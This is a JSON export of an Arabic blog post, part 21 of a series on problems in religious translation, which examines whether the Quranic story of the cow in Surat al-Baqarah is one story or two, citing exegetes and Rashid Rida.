{"id":24189,"date":"2020-09-09T03:31:50","date_gmt":"2020-09-09T03:31:50","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=24189"},"modified":"2020-09-09T03:31:50","modified_gmt":"2020-09-09T03:31:50","slug":"%d9%85%d9%86-%d8%a5%d8%b4%d9%83%d8%a7%d9%84%d9%8a%d8%a7%d8%aa-%d8%a7%d9%84%d8%aa%d8%b1%d8%ac%d9%85%d8%a9-%d8%a7%d9%84%d8%af%d9%8a%d9%86%d9%8a%d8%a9-%d9%82%d8%b5%d8%a9-%d8%a7%d9%84%d8%a8%d9%82%d8%b1","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=24189","title":{"rendered":"\u0645\u0646 \u0625\u0634\u0643\u0627\u0644\u064a\u0627\u062a \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0627\u0644\u062f\u064a\u0646\u064a\u0629 \u0642\u0635\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u0642\u0635\u062a\u0627\u0646&#8230;\u061f (21)"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u2013<\/strong><\/p>\n<p style=\"text-align: justify;\">\u064a\u0639\u0631\u0641 \u0645\u0639\u0638\u0645 \u0627\u0644\u0646\u0627\u0633 \u0623\u0646 \u0633\u0648\u0631\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u062a\u062d\u0641\u0644 \u0628\u0642\u0635\u0635 \u0644\u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644\u060c \u0648 \u062a\u0630\u0643\u064a\u0631 \u0627\u0644\u0645\u0648\u0644\u0649 \u0639\u0632 \u0648\u062c\u0644 \u0644\u0647\u0645 \u0628\u0645\u0627 \u0645\u0646 \u0628\u0647 \u0639\u0644\u064a\u0647\u0645 .\u0648 \u064a\u064f\u0644\u0627\u062d\u0638 \u0623\u0646 \u0643\u0644 \u0642\u0635\u0629 \u0645\u0646\u0647\u0627 \u062a\u0628\u062f\u0623 \u0628 (\u0648\u0625\u0630) \u0645\u0646 \u0645\u062b\u0644:<\/p>\n<ol style=\"text-align: justify;\">\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0646\u064e\u062c\u0651\u064e\u064a\u0652\u0646\u064e\u0627\u0643\u064f\u0645 \u0645\u0651\u0650\u0646\u0652 \u0622\u0644\u0650 \u0641\u0650\u0631\u0652\u0639\u064e\u0648\u0652\u0646\u064e \u064a\u064e\u0633\u064f\u0648\u0645\u064f\u0648\u0646\u064e\u0643\u064f\u0645\u0652 \u0633\u064f\u0648\u0621\u064e \u0627\u0644\u0652\u0639\u064e\u0630\u064e\u0627\u0628\u0650 \u064a\u064f\u0630\u064e\u0628\u0651\u0650\u062d\u064f\u0648\u0646\u064e \u0623\u064e\u0628\u0652\u0646\u064e\u0627\u0621\u064e\u0643\u064f\u0645\u0652 \u0648\u064e\u064a\u064e\u0633\u0652\u062a\u064e\u062d\u0652\u064a\u064f\u0648\u0646\u064e \u0646\u0650\u0633\u064e\u0627\u0621\u0643\u064f\u0645\u0652 \u0648\u064e\u0641\u0650\u064a \u0630\u064e\u0644\u0650\u0643\u064f\u0645 \u0628\u064e\u0644\u0627\u0621 \u0645\u0651\u0650\u0646 \u0631\u0651\u064e\u0628\u0651\u0650\u0643\u064f\u0645\u0652 \u0639\u064e\u0638\u0650\u064a\u0645\u064c<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0641\u064e\u0631\u064e\u0642\u0652\u0646\u064e\u0627 \u0628\u0650\u0643\u064f\u0645\u064f \u0627\u0644\u0652\u0628\u064e\u062d\u0652\u0631\u064e \u0641\u064e\u0623\u064e\u0646\u062c\u064e\u064a\u0652\u0646\u064e\u0627\u0643\u064f\u0645\u0652 \u0648\u064e\u0623\u064e\u063a\u0652\u0631\u064e\u0642\u0652\u0646\u064e\u0627 \u0622\u0644\u064e \u0641\u0650\u0631\u0652\u0639\u064e\u0648\u0652\u0646\u064e \u0648\u064e\u0623\u064e\u0646\u062a\u064f\u0645\u0652 \u062a\u064e\u0646\u0638\u064f\u0631\u064f\u0648\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0648\u064e\u0627\u0639\u064e\u062f\u0652\u0646\u064e\u0627 \u0645\u064f\u0648\u0633\u064e\u0649 \u0623\u064e\u0631\u0652\u0628\u064e\u0639\u0650\u064a\u0646\u064e \u0644\u064e\u064a\u0652\u0644\u064e\u0629\u064b \u062b\u064f\u0645\u0651\u064e \u0627\u062a\u0651\u064e\u062e\u064e\u0630\u0652\u062a\u064f\u0645\u064f \u0627\u0644\u0652\u0639\u0650\u062c\u0652\u0644\u064e \u0645\u0650\u0646 \u0628\u064e\u0639\u0652\u062f\u0650\u0647\u0650 \u0648\u064e\u0623\u064e\u0646\u062a\u064f\u0645\u0652 \u0638\u064e\u0627\u0644\u0650\u0645\u064f\u0648\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064e\u0627\u0644\u064e \u0645\u064f\u0648\u0633\u064e\u0649 \u0644\u0650\u0642\u064e\u0648\u0652\u0645\u0650\u0647\u0650 \u064a\u064e\u0627 \u0642\u064e\u0648\u0652\u0645\u0650 \u0625\u0650\u0646\u0651\u064e\u0643\u064f\u0645\u0652 \u0638\u064e\u0644\u064e\u0645\u0652\u062a\u064f\u0645\u0652 \u0623\u064e\u0646\u0641\u064f\u0633\u064e\u0643\u064f\u0645\u0652 \u0628\u0650\u0627\u062a\u0651\u0650\u062e\u064e\u0627\u0630\u0650\u0643\u064f\u0645\u064f \u0627\u0644\u0652\u0639\u0650\u062c\u0652\u0644\u064e \u0641\u064e\u062a\u064f\u0648\u0628\u064f\u0648\u0627\u0652 \u0625\u0650\u0644\u064e\u0649 \u0628\u064e\u0627\u0631\u0650\u0626\u0650\u0643\u064f\u0645\u0652 \u0641\u064e\u0627\u0642\u0652\u062a\u064f\u0644\u064f\u0648\u0627\u0652 \u0623\u064e\u0646\u0641\u064f\u0633\u064e\u0643\u064f\u0645\u0652 \u0630\u064e\u0644\u0650\u0643\u064f\u0645\u0652 \u062e\u064e\u064a\u0652\u0631\u064c \u0644\u0651\u064e\u0643\u064f\u0645\u0652 \u0639\u0650\u0646\u062f\u064e \u0628\u064e\u0627\u0631\u0650\u0626\u0650\u0643\u064f\u0645\u0652 \u0641\u064e\u062a\u064e\u0627\u0628\u064e \u0639\u064e\u0644\u064e\u064a\u0652\u0643\u064f\u0645\u0652 \u0625\u0650\u0646\u0651\u064e\u0647\u064f \u0647\u064f\u0648\u064e \u0627\u0644\u062a\u0651\u064e\u0648\u0651\u064e\u0627\u0628\u064f \u0627\u0644\u0631\u0651\u064e\u062d\u0650\u064a\u0645\u064f<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064f\u0644\u0652\u062a\u064f\u0645\u0652 \u064a\u064e\u0627 \u0645\u064f\u0648\u0633\u064e\u0649 \u0644\u064e\u0646 \u0646\u0651\u064f\u0624\u0652\u0645\u0650\u0646\u064e \u0644\u064e\u0643\u064e \u062d\u064e\u062a\u0651\u064e\u0649 \u0646\u064e\u0631\u064e\u0649 \u0627\u0644\u0644\u0651\u064e\u0647\u064e \u062c\u064e\u0647\u0652\u0631\u064e\u0629\u064b \u0641\u064e\u0623\u064e\u062e\u064e\u0630\u064e\u062a\u0652\u0643\u064f\u0645\u064f \u0627\u0644\u0635\u0651\u064e\u0627\u0639\u0650\u0642\u064e\u0629\u064f \u0648\u064e\u0623\u064e\u0646\u062a\u064f\u0645\u0652 \u062a\u064e\u0646\u0638\u064f\u0631\u064f\u0648\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064f\u0644\u0652\u0646\u064e\u0627 \u0627\u062f\u0652\u062e\u064f\u0644\u064f\u0648\u0627\u0652 \u0647\u064e\u0630\u0650\u0647\u0650 \u0627\u0644\u0652\u0642\u064e\u0631\u0652\u064a\u064e\u0629\u064e \u0641\u064e\u0643\u064f\u0644\u064f\u0648\u0627\u0652 \u0645\u0650\u0646\u0652\u0647\u064e\u0627 \u062d\u064e\u064a\u0652\u062b\u064f \u0634\u0650\u0626\u0652\u062a\u064f\u0645\u0652 \u0631\u064e\u063a\u064e\u062f\u064b\u0627 \u0648\u064e\u0627\u062f\u0652\u062e\u064f\u0644\u064f\u0648\u0627\u0652 \u0627\u0644\u0652\u0628\u064e\u0627\u0628\u064e \u0633\u064f\u062c\u0651\u064e\u062f\u064b\u0627 \u0648\u064e\u0642\u064f\u0648\u0644\u064f\u0648\u0627\u0652 \u062d\u0650\u0637\u0651\u064e\u0629\u064c \u0646\u0651\u064e\u063a\u0652\u0641\u0650\u0631\u0652 \u0644\u064e\u0643\u064f\u0645\u0652 \u062e\u064e\u0637\u064e\u0627\u064a\u064e\u0627\u0643\u064f\u0645\u0652 \u0648\u064e\u0633\u064e\u0646\u064e\u0632\u0650\u064a\u062f\u064f \u0627\u0644\u0652\u0645\u064f\u062d\u0652\u0633\u0650\u0646\u0650\u064a\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0650 \u0627\u0633\u0652\u062a\u064e\u0633\u0652\u0642\u064e\u0649 \u0645\u064f\u0648\u0633\u064e\u0649 \u0644\u0650\u0642\u064e\u0648\u0652\u0645\u0650\u0647\u0650 \u0641\u064e\u0642\u064f\u0644\u0652\u0646\u064e\u0627 \u0627\u0636\u0652\u0631\u0650\u0628 \u0628\u0651\u0650\u0639\u064e\u0635\u064e\u0627\u0643\u064e \u0627\u0644\u0652\u062d\u064e\u062c\u064e\u0631\u064e \u0641\u064e\u0627\u0646\u0641\u064e\u062c\u064e\u0631\u064e\u062a\u0652 \u0645\u0650\u0646\u0652\u0647\u064f \u0627\u062b\u0652\u0646\u064e\u062a\u064e\u0627 \u0639\u064e\u0634\u0652\u0631\u064e\u0629\u064e \u0639\u064e\u064a\u0652\u0646\u064b\u0627 \u0642\u064e\u062f\u0652 \u0639\u064e\u0644\u0650\u0645\u064e \u0643\u064f\u0644\u0651\u064f \u0623\u064f\u0646\u064e\u0627\u0633\u064d \u0645\u0651\u064e\u0634\u0652\u0631\u064e\u0628\u064e\u0647\u064f\u0645\u0652 \u0643\u064f\u0644\u064f\u0648\u0627\u0652 \u0648\u064e\u0627\u0634\u0652\u0631\u064e\u0628\u064f\u0648\u0627\u0652 \u0645\u0650\u0646 \u0631\u0651\u0650\u0632\u0652\u0642\u0650 \u0627\u0644\u0644\u0651\u064e\u0647\u0650 \u0648\u064e\u0644\u0627\u064e \u062a\u064e\u0639\u0652\u062b\u064e\u0648\u0652\u0627 \u0641\u0650\u064a \u0627\u0644\u0623\u064e\u0631\u0652\u0636\u0650 \u0645\u064f\u0641\u0652\u0633\u0650\u062f\u0650\u064a\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064f\u0644\u0652\u062a\u064f\u0645\u0652 \u064a\u064e\u0627 \u0645\u064f\u0648\u0633\u064e\u0649 \u0644\u064e\u0646 \u0646\u0651\u064e\u0635\u0652\u0628\u0650\u0631\u064e \u0639\u064e\u0644\u064e\u0649\u064e \u0637\u064e\u0639\u064e\u0627\u0645\u064d \u0648\u064e\u0627\u062d\u0650\u062f\u064d \u0641\u064e\u0627\u062f\u0652\u0639\u064f \u0644\u064e\u0646\u064e\u0627 \u0631\u064e\u0628\u0651\u064e\u0643\u064e \u064a\u064f\u062e\u0652\u0631\u0650\u062c\u0652 \u0644\u064e\u0646\u064e\u0627 \u0645\u0650\u0645\u0651\u064e\u0627 \u062a\u064f\u0646\u0628\u0650\u062a\u064f \u0627\u0644\u0623\u064e\u0631\u0652\u0636\u064f&#8230;.<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\u0648\u064a\u0642\u0648\u0644 \u0627\u0644\u0646\u062d\u0627\u0629 \u0648\u0627\u0644\u0645\u0641\u0633\u0631\u0648\u0646 \u0625\u0646 (\u0625\u0630) \u0638\u0631\u0641 \u0632\u0645\u0627\u0646 \u0644\u0644\u062d\u062f\u062b \u0627\u0644\u0645\u0627\u0636\u064a\u060c \u0648\u0643\u0623\u0646\u0647\u0627 \u062a\u0639\u0646\u064a (\u0648\u0627\u0630\u0643\u0631\u0648\u0627\u00a0 \u062d\u064a\u0646&#8230;..). \u0648\u0631\u063a\u0645 \u0643\u062b\u0631\u0629 \u0623\u062e\u0628\u0627\u0631 \u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644 \u0641\u064a \u0633\u0648\u0631\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u0625\u0644\u0627 \u0623\u0646 \u0642\u0635\u0629 \u0627\u0644\u0628\u0642\u0631\u0629\u0646\u0641\u0633\u0647\u0627 \u0647\u064a \u0623\u0638\u0647\u0631 \u0627\u0644\u0623\u062e\u0628\u0627\u0631\u060c \u0648\u0645\u0646\u0647\u0627 \u0623\u062e\u0630\u062a \u0627\u0644\u0633\u0648\u0631\u0629 \u0627\u0633\u0645\u0647\u0627. \u0641\u0644\u0646\u062a\u0623\u0645\u0644 \u0642\u0644\u064a\u0644\u0627\u064b \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0642\u0635\u0629:<\/p>\n<ol style=\"text-align: justify;\">\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064e\u0627\u0644\u064e \u0645\u064f\u0648\u0633\u064e\u0649 \u0644\u0650\u0642\u064e\u0648\u0652\u0645\u0650\u0647\u0650 \u0625\u0650\u0646\u0651\u064e \u0627\u0644\u0644\u0651\u064e\u0647\u064e \u064a\u064e\u0623\u0652\u0645\u064f\u0631\u064f\u0643\u064f\u0645\u0652 \u0623\u064e\u0646\u0652 \u062a\u064e\u0630\u0652\u0628\u064e\u062d\u064f\u0648\u0627\u0652 \u0628\u064e\u0642\u064e\u0631\u064e\u0629\u064b \u0642\u064e\u0627\u0644\u064f\u0648\u0627\u0652 \u0623\u064e\u062a\u064e\u062a\u0651\u064e\u062e\u0650\u0630\u064f\u0646\u064e\u0627 \u0647\u064f\u0632\u064f\u0648\u064b\u0627 \u0642\u064e\u0627\u0644\u064e \u0623\u064e\u0639\u064f\u0648\u0630\u064f \u0628\u0650\u0627\u0644\u0644\u0651\u064e\u0647\u0650 \u0623\u064e\u0646\u0652 \u0623\u064e\u0643\u064f\u0648\u0646\u064e \u0645\u0650\u0646\u064e \u0627\u0644\u0652\u062c\u064e\u0627\u0647\u0650\u0644\u0650\u064a\u0646\u064e<\/li>\n<li>\u0642\u064e\u0627\u0644\u064f\u0648\u0627\u0652 \u0627\u062f\u0652\u0639\u064f \u0644\u064e\u0646\u064e\u0627 \u0631\u064e\u0628\u0651\u064e\u0643\u064e \u064a\u064f\u0628\u064e\u064a\u0651\u0650\u0646 \u0644\u0651\u064e\u0646\u064e\u0627 \u0645\u064e\u0627 \u0647\u0650\u064a\u064e \u0642\u064e\u0627\u0644\u064e \u0625\u0650\u0646\u0651\u064e\u0647\u064f \u064a\u064e\u0642\u064f\u0648\u0644\u064f \u0625\u0650\u0646\u0651\u064e\u0647\u064e\u0627 \u0628\u064e\u0642\u064e\u0631\u064e\u0629\u064c \u0644\u0627\u0651\u064e \u0641\u064e\u0627\u0631\u0650\u0636\u064c \u0648\u064e\u0644\u0627\u064e \u0628\u0650\u0643\u0652\u0631\u064c \u0639\u064e\u0648\u064e\u0627\u0646\u064c \u0628\u064e\u064a\u0652\u0646\u064e \u0630\u064e\u0644\u0650\u0643\u064e \u0641\u064e\u0627\u0641\u0652\u0639\u064e\u0644\u064f\u0648\u0627\u0652 \u0645\u064e\u0627 \u062a\u064f\u0624\u0652\u0645\u064e\u0631\u064f\u0648\u0646\u064e<\/li>\n<li>\u0642\u064e\u0627\u0644\u064f\u0648\u0627\u0652 \u0627\u062f\u0652\u0639\u064f \u0644\u064e\u0646\u064e\u0627 \u0631\u064e\u0628\u0651\u064e\u0643\u064e \u064a\u064f\u0628\u064e\u064a\u0651\u0650\u0646 \u0644\u0651\u064e\u0646\u064e\u0627 \u0645\u064e\u0627 \u0644\u064e\u0648\u0652\u0646\u064f\u0647\u064e\u0627 \u0642\u064e\u0627\u0644\u064e \u0625\u0650\u0646\u0651\u064e\u0647\u064f \u064a\u064e\u0642\u064f\u0648\u0644\u064f \u0625\u0650\u0646\u0651\u064e\u0647\u064e\u0627 \u0628\u064e\u0642\u064e\u0631\u064e\u0629\u064c \u0635\u064e\u0641\u0652\u0631\u064e\u0627\u0621 \u0641\u064e\u0627\u0642\u0650\u0639\u064c \u0644\u0651\u064e\u0648\u0652\u0646\u064f\u0647\u064e\u0627 \u062a\u064e\u0633\u064f\u0631\u0651\u064f \u0627\u0644\u0646\u0651\u064e\u0627\u0638\u0650\u0631\u0650\u064a\u0646\u064e<\/li>\n<li>\u0642\u064e\u0627\u0644\u064f\u0648\u0627\u0652 \u0627\u062f\u0652\u0639\u064f \u0644\u064e\u0646\u064e\u0627 \u0631\u064e\u0628\u0651\u064e\u0643\u064e \u064a\u064f\u0628\u064e\u064a\u0651\u0650\u0646 \u0644\u0651\u064e\u0646\u064e\u0627 \u0645\u064e\u0627 \u0647\u0650\u064a\u064e \u0625\u0650\u0646\u0651\u064e \u0627\u0644\u0652\u0628\u064e\u0642\u064e\u0631\u064e \u062a\u064e\u0634\u064e\u0627\u0628\u064e\u0647\u064e \u0639\u064e\u0644\u064e\u064a\u0652\u0646\u064e\u0627 \u0648\u064e\u0625\u0650\u0646\u0651\u064e\u0627 \u0625\u0650\u0646 \u0634\u064e\u0627\u0621 \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0644\u064e\u0645\u064f\u0647\u0652\u062a\u064e\u062f\u064f\u0648\u0646\u064e<\/li>\n<li>\u0642\u064e\u0627\u0644\u064e \u0625\u0650\u0646\u0651\u064e\u0647\u064f \u064a\u064e\u0642\u064f\u0648\u0644\u064f \u0625\u0650\u0646\u0651\u064e\u0647\u064e\u0627 \u0628\u064e\u0642\u064e\u0631\u064e\u0629\u064c \u0644\u0627\u0651\u064e \u0630\u064e\u0644\u064f\u0648\u0644\u064c \u062a\u064f\u062b\u0650\u064a\u0631\u064f \u0627\u0644\u0623\u064e\u0631\u0652\u0636\u064e \u0648\u064e\u0644\u0627\u064e \u062a\u064e\u0633\u0652\u0642\u0650\u064a \u0627\u0644\u0652\u062d\u064e\u0631\u0652\u062b\u064e \u0645\u064f\u0633\u064e\u0644\u0651\u064e\u0645\u064e\u0629\u064c \u0644\u0627\u0651\u064e \u0634\u0650\u064a\u064e\u0629\u064e \u0641\u0650\u064a\u0647\u064e\u0627 \u0642\u064e\u0627\u0644\u064f\u0648\u0627\u0652 \u0627\u0644\u0622\u0646 \u062c\u0650\u0626\u0652\u062a\u064e \u0628\u0650\u0627\u0644\u0652\u062d\u064e\u0642\u0651\u0650 \u0641\u064e\u0630\u064e\u0628\u064e\u062d\u064f\u0648\u0647\u064e\u0627 \u0648\u064e\u0645\u064e\u0627 \u0643\u064e\u0627\u062f\u064f\u0648\u0627\u0652 \u064a\u064e\u0641\u0652\u0639\u064e\u0644\u064f\u0648\u0646\u064e<\/li>\n<li>\u0648\u064e\u0625\u0650\u0630\u0652 \u0642\u064e\u062a\u064e\u0644\u0652\u062a\u064f\u0645\u0652 \u0646\u064e\u0641\u0652\u0633\u064b\u0627 \u0641\u064e\u0627\u062f\u0651\u064e\u0627\u0631\u064e\u0623\u0652\u062a\u064f\u0645\u0652 \u0641\u0650\u064a\u0647\u064e\u0627 \u0648\u064e\u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0645\u064f\u062e\u0652\u0631\u0650\u062c\u064c \u0645\u0651\u064e\u0627 \u0643\u064f\u0646\u062a\u064f\u0645\u0652 \u062a\u064e\u0643\u0652\u062a\u064f\u0645\u064f\u0648\u0646\u064e<\/li>\n<li>\u0641\u064e\u0642\u064f\u0644\u0652\u0646\u064e\u0627 \u0627\u0636\u0652\u0631\u0650\u0628\u064f\u0648\u0647\u064f \u0628\u0650\u0628\u064e\u0639\u0652\u0636\u0650\u0647\u064e\u0627 \u0643\u064e\u0630\u064e\u0644\u0650\u0643\u064e \u064a\u064f\u062d\u0652\u064a\u0650\u064a \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0627\u0644\u0652\u0645\u064e\u0648\u0652\u062a\u064e\u0649 \u0648\u064e\u064a\u064f\u0631\u0650\u064a\u0643\u064f\u0645\u0652 \u0622\u064a\u064e\u0627\u062a\u0650\u0647\u0650 \u0644\u064e\u0639\u064e\u0644\u0651\u064e\u0643\u064f\u0645\u0652 \u062a\u064e\u0639\u0652\u0642\u0650\u0644\u064f\u0648\u0646\u064e<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\u0647\u0630\u0647 \u0647\u064a \u0627\u0644\u0642\u0635\u0629 \u0643\u0645\u0627 \u0647\u0648 \u0645\u0639\u0631\u0648\u0641 \u0644\u062f\u0649 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0646\u0627\u0633\u060c \u063a\u064a\u0631 \u0623\u0646 \u0646\u0638\u0631\u0629 \u0641\u0627\u062d\u0635\u0629 \u062a\u0628\u064a\u0646 \u0623\u0646 \u0628\u0627\u0644\u0642\u0635\u0629 \u0627\u062b\u0646\u062a\u064a\u0646 \u0645\u0646 \u0644\u0641\u0638\u0629 (\u0625\u0630): \u0625\u0630 \u0642\u0627\u0644 \u0645\u0648\u0633\u0649\u060c \u0648\u0625\u0630 \u0642\u062a\u0644\u062a\u0645 \u0646\u0641\u0633\u0627.\u00a0 \u0648\u064a\u0642\u0648\u0644 \u0627\u0644\u0645\u0641\u0633\u0631\u0648\u0646 \u0625\u0646 \u0628\u0627\u0644\u0642\u0635\u0629 \u062a\u0642\u062f\u064a\u0645\u0627 \u0648\u062a\u0623\u062e\u064a\u0631\u0627\u060c \u0648\u0625\u0646 \u062a\u0631\u062a\u064a\u0628 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u064a\u0639\u0646\u064a \u0623\u0646 \u0642\u062a\u0644 \u0627\u0644\u0646\u0641\u0633 \u062d\u062f\u062b \u0623\u0648\u0644\u0627\u064b\u060c\u0628\u0639\u062f\u0647\u0627 \u0627\u062e\u062a\u0644\u0641\u0648\u0627 \u0641\u064a \u0645\u0639\u0631\u0641\u0629 \u0645\u0646 \u0642\u062a\u0644\u0647\u0627\u060c \u062b\u0645 \u0627\u062d\u062a\u0643\u0645\u0648\u0627 \u0625\u0644\u0649 \u0633\u064a\u062f\u0646\u0627 \u0645\u0648\u0633\u0649 \u0639\u0644\u064a\u0647 \u0627\u0644\u0633\u0644\u0627\u0645\u060c \u0641\u0628\u062f\u0623\u062a \u0642\u0635\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u0628\u0648\u062d\u064a \u0645\u0646 \u0639\u0646\u062f \u0627\u0644\u0644\u0647 \u0639\u0632 \u0648\u062c\u0644\u060c \u0644\u062a\u0643\u0648\u0646 \u0627\u0644\u0628\u0642\u0631\u0629 \u0628\u0639\u062f \u0630\u0628\u062d\u0647\u0627 \u0648\u0636\u0631\u0628 \u0627\u0644\u0642\u062a\u064a\u0644 \u0628\u062c\u0632\u0621 \u0645\u0646\u0647\u0627 \u0622\u064a\u0629\u064b \u0644\u0647\u0645 \u0639\u0644\u0649 \u0625\u062d\u064a\u0627\u0621 \u0627\u0644\u0645\u0648\u062a\u0649 \u0628\u0623\u0646 \u064a\u0642\u0648\u0645 \u0627\u0644\u0645\u0642\u062a\u0648\u0644 \u0641\u064a\u062e\u0628\u0631 \u0639\u0645\u0646 \u0642\u062a\u0644\u0647.\u00a0 \u0648\u0639\u0644\u0649 \u0647\u0630\u0627 \u064a\u0643\u0648\u0646 \u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a \u0627\u0644\u0622\u064a\u0629 \u0627\u0644\u0623\u062e\u064a\u0631\u0629 \u0641\u064a (\u0627\u0636\u0631\u0628\u0648\u0647) \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0627\u0644\u0642\u062a\u064a\u0644\u060c \u0648\u0627\u0644\u0636\u0645\u064a\u0631 \u0641\u064a (\u0628\u0628\u0639\u0636\u0647\u0627) \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0627\u0644\u0628\u0642\u0631\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0643\u0644 \u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0645\u0639\u0631\u0648\u0641 \u0627\u0644\u0633\u0627\u0626\u062f\u060c \u0644\u0643\u0646 \u0625\u0630\u0627 \u0631\u062c\u0639\u0646\u0627 \u0625\u0644\u0649 \u0645\u0627 \u0630\u0643\u0631\u0646\u0627\u0647 \u0645\u0646 \u0623\u0646 \u0643\u0644 \u0642\u0635\u0629 \u0645\u0633\u062a\u0642\u0644\u0629 \u062a\u0628\u062f\u0623 \u0628 (\u0625\u0630)\u060c \u0641\u0647\u0644 \u062a\u0643\u0648\u0646 \u0647\u0630\u0647 \u0627\u0644\u0642\u0635\u0629 \u0642\u0635\u062a\u064a\u0646 \u0645\u062e\u062a\u0644\u0641\u062a\u064a\u0646\u061f \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0623\u0646 \u0647\u0630\u0627 \u0631\u0623\u064a \u0645\u0648\u062c\u0648\u062f \u0631\u063a\u0645 \u063a\u0631\u0627\u0628\u062a\u0647. \u0642\u0627\u0644 \u0628\u0647 \u0627\u0644\u0633\u064a\u062f \u0631\u0634\u064a\u062f \u0631\u0636\u0627 \u0641\u064a \u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u0645\u0646\u0627\u0631 \u0648\u0642\u0627\u0644 \u0628\u0647 \u0627\u0644\u0634\u064a\u062e \u0639\u0628\u062f \u0627\u0644\u0648\u0647\u0627\u0628 \u0627\u0644\u0646\u062c\u0627\u0631 \u0641\u064a &#8220;\u0642\u0635\u0635 \u0627\u0644\u0623\u0646\u0628\u064a\u0627\u0621&#8221; \u0641\u064a \u0645\u0642\u0631\u0631 \u062f\u0631\u0633\u0647 \u0628\u062c\u0627\u0645\u0639\u0629 \u0627\u0644\u0642\u0627\u0647\u0631\u0629 \u0633\u0646\u0629 \u0661\u0669\u0663\u0660.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u062e\u062a\u0635\u0631 \u0631\u0623\u064a \u0627\u0644\u0634\u064a\u062e \u0639\u0628\u062f \u0627\u0644\u0648\u0647\u0627\u0628 \u0647\u0648 \u0623\u0646 \u0642\u0635\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u0642\u062f \u0627\u0646\u062a\u0647\u062a\u0639\u0646\u062f\u0645\u0627 \u0630\u0628\u062d\u062a \u0627\u0644\u0628\u0642\u0631\u0629\u060c \u0648\u0623\u0646 \u0627\u0644\u0639\u0628\u0631\u0629 \u0628\u0647\u0627 \u0643\u0627\u0646\u062a \u0647\u064a \u0627\u0644\u0627\u0646\u0635\u064a\u0627\u0639 \u0644\u0644\u0623\u0645\u0631\u060c \u0648\u0639\u062f\u0645 \u0627\u0644\u062a\u0634\u062f\u064a\u062f \u062d\u062a\u0649 \u0644\u0627 \u064a\u0634\u062f\u062f \u0639\u0644\u064a\u0647\u0645\u060c \u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0644\u0644\u0639\u0627\u0626\u062f \u0627\u0644\u0630\u064a \u0623\u0641\u0627\u0621\u0647 \u0627\u0644\u0644\u0647 \u0639\u0644\u0649 \u0623\u0635\u062d\u0627\u0628 \u0627\u0644\u0628\u0642\u0631\u0629 \u0627\u0644\u0641\u0642\u0631\u0627\u0621. \u0643\u0645\u0627 \u064a\u0631\u0649 \u0623\u0646 \u0642\u0635\u0629 \u062c\u062f\u064a\u062f\u0629 \u0628\u062f\u0623\u062a \u0639\u0646\u062f \u0630\u0643\u0631 \u0627\u0644\u0642\u062a\u064a\u0644 \u0627\u0644\u0630\u064a \u0642\u062a\u0644\u0648\u0647\u060c \u0648\u0644\u0645 \u064a\u0639\u0631\u0641\u0648\u0627 \u0642\u0627\u062a\u0644\u0647. \u0641\u0623\u0631\u062f \u0627\u0644\u0644\u0647 \u0623\u0646 \u064a\u062e\u0631\u062c \u0645\u0627 \u064a\u0643\u062a\u0645\u0648\u0646\u060c \u0641\u0635\u062f\u0631 \u0627\u0644\u0623\u0645\u0631 \u0628\u0623\u0646 \u064a\u0636\u0631\u0628\u0648\u0627 \u0643\u0644 \u0645\u0634\u062a\u0628\u0647 \u0641\u064a\u0647 (\u0641\u0627\u0636\u0631\u0628\u0648\u0647) \u0628\u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u062c\u062b\u0629 (\u064a\u062f \u0627\u0644\u0642\u062a\u064a\u0644) &#8211; (\u0628\u0628\u0639\u0636\u0647\u0627). \u0648\u064a\u0628\u064a\u0646 \u0627\u0644\u0634\u064a\u062e \u0627\u0644\u0646\u062c\u0627\u0631 \u0623\u0646 \u0627\u0644\u0642\u0627\u062a\u0644 \u0623\u0643\u062b\u0631 \u0627\u0644\u0646\u0627\u0633 \u062c\u0632\u0639\u0627 \u062e\u0627\u0635\u0629 \u0639\u0646\u062f\u0645\u0627 \u064a\u062c\u062f \u0646\u0641\u0633\u0647 